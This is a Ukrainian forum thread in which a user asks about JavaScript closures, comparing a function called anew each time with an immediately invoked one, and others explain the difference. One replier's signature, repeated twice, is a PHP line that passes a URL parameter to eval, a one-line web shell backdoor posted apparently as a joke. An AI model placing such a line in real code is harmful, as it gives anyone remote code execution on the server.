1 Востаннє редагувалося FakiNyan (01.11.2013 22:31:08)

Тема: Поясніть за функції в функції і змінні в функції

Здорів. Поясніть лише одне. Чому от такий код

var func = function(){
    var i=0;
    return function(){
        return i++;
    };
};

console.log(func()());
console.log(func()());
console.log(func()());
console.log(func()());

виведе чотири нулі. А от такий

var func = function(){
    var i=0;
    return function(){
        return i++;
    };
}();

console.log(func());
console.log(func());
console.log(func());
console.log(func());

виведе 0 1 2 3 ???? Дякую с:

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

2

Re: Поясніть за функції в функції і змінні в функції

Я не бачу різниці між цими двома програмами.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: koala1

3

Re: Поясніть за функції в функції і змінні в функції

Ви ще б спитали, чому код

Прихований текст

var func = function(){
    var i=0;
    return function(){
        return i++;
    };
};
 
console.log(func()());
console.log(func()());
console.log(func()());
console.log(func()());

виводить 3,14159 26535 89793 23846...

4

Re: Поясніть за функції в функції і змінні в функції

все все все, то чи я зтупив, чи вінда зтупила, коли я копіював код, я вже справив, дивіться.

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

5

Re: Поясніть за функції в функції і змінні в функції

Якщо швидко - бо в першому випадку кожного разу викликається зовнішня функція наново, з var i=0; а в другому разі вона викликається тільки один раз, а всі наступні виклики чіпляють ту саму i, якій нове значення ніде не надається, тільки старе збільшується.
Якщо детальніше - то самі розпишіть, в якій послідовності відбуваються виклики.

6

Re: Поясніть за функції в функції і змінні в функції

koala написав:

Якщо швидко - бо в першому випадку кожного разу викликається зовнішня функція наново, з var i=0; а в другому разі вона викликається тільки один раз, а всі наступні виклики чіпляють ту саму i, якій нове значення ніде не надається, тільки старе збільшується.
Якщо детальніше - то самі розпишіть, в якій послідовності відбуваються виклики.

ну я так думав: в першому випадку ми викликаєм першу функцію, вона нам повертає іншу функцію, і за допомогою другої пари круглих скобок ми виконуємо отриману функцію. Вона намагається повернути змінну "i", не бачить її в своїй області бачення, потім починає шукати таку змінну в функції на поверх вище, знаходить там її, бачить, що вона = 0, і повертає нам нуль. А в другому все так само, але так, як після основної функції стоїть (), то вона сама себе викликає і повертає нам функцію, і за допомогою () ми виконуємо цю функцію, і вона знову намагається повернути "i", не бачить цієї змінної, потім йде на поверх вище, бачить там, що вона = 0, повертає її.

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

7

Re: Поясніть за функції в функції і змінні в функції

Ні, не так. В момент створення лямбди вона фіксує всі свої змінні. Різниця в тому, що в першому випадку створюється 4 різні лямбди, а в другому - одна. Жодного пошуку пост-фактум не відбувається.

8

Re: Поясніть за функції в функції і змінні в функції

koala написав:

Ні, не так. В момент створення лямбди вона фіксує всі свої змінні. Різниця в тому, що в першому випадку створюється 4 різні лямбди, а в другому - одна. Жодного пошуку пост-фактум не відбувається.

цеееееее досить таки по новому якось....... тобто в другому випадку змінну func можна порівняти з екземпляром класу?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

9

Re: Поясніть за функції в функції і змінні в функції

Ні.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

10

Re: Поясніть за функції в функції і змінні в функції

В першому - також. Тільки інший клас.
Так, такий ECMAScript дурнуватий, що все в ньому є, певним чином, об'єктами.

11

Re: Поясніть за функції в функції і змінні в функції

ну ви хоча б детально розповіли, а-то ходите "вакруг даокала", а я так і не знаю, як воно там працює

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

12

Re: Поясніть за функції в функції і змінні в функції

Ви б хоча б продемонстрували, що знайшли в гуглі на цю тему і зрозуміли, а то писати цілий підручник.

13 Востаннє редагувалося FakiNyan (02.11.2013 13:33:24)

Re: Поясніть за функції в функції і змінні в функції

koala написав:

Ви б хоча б продемонстрували, що знайшли в гуглі на цю тему і зрозуміли, а то писати цілий підручник.

так я знайшов тему про "замыкания", але там купа різних штук, яких я ще не знаю, ооот. А так-то я дивився відео про це, але там чомусь нічо не зрозумів, чи то автор погано розповів, чи то я просто не наздогнав, зара ще раз передивлюсь, от воно, якщо що http://www.youtube.com/watch?v=rpIxGwFz … 853451E24D
я там зрозумів, вся суть в функціях, котрі самі себе викликають, вони чимось дуже відрізняются від простих функцій

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

14

Re: Поясніть за функції в функції і змінні в функції

все все все, я зрозумів. тут

var func = function(){
    var i=0;
    return function(){
        return i++;
    };
};
 
console.log(func()());
console.log(func()());
console.log(func()());
console.log(func()());

мі кожного разу викликаємо першу функцію, в котрій змінній i присвоюється значення 0, потім вона повертає внутрішню функцію і ми отримуємо 0, а тута

var func = function(){
    var i=0;
    return function(){
        return i++;
    };
}();
 
console.log(func());
console.log(func());
console.log(func());
console.log(func());

змінній func відразу присвоюється внутрішня функція, і так, як ми викликаємо тільки її, і не чіпаєм код, в котрому змінній i присвоюється значення 0, і ця функція зберігає посилання на об'єкт, котрий створився при ініалізації батьківської функції, і при зміні значення змінної i, йде в той об'єкт, повертає значення змінної i, змінює його і всьо. тому воно й змінюється, я наздогнав :3

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...
Подякували: koala1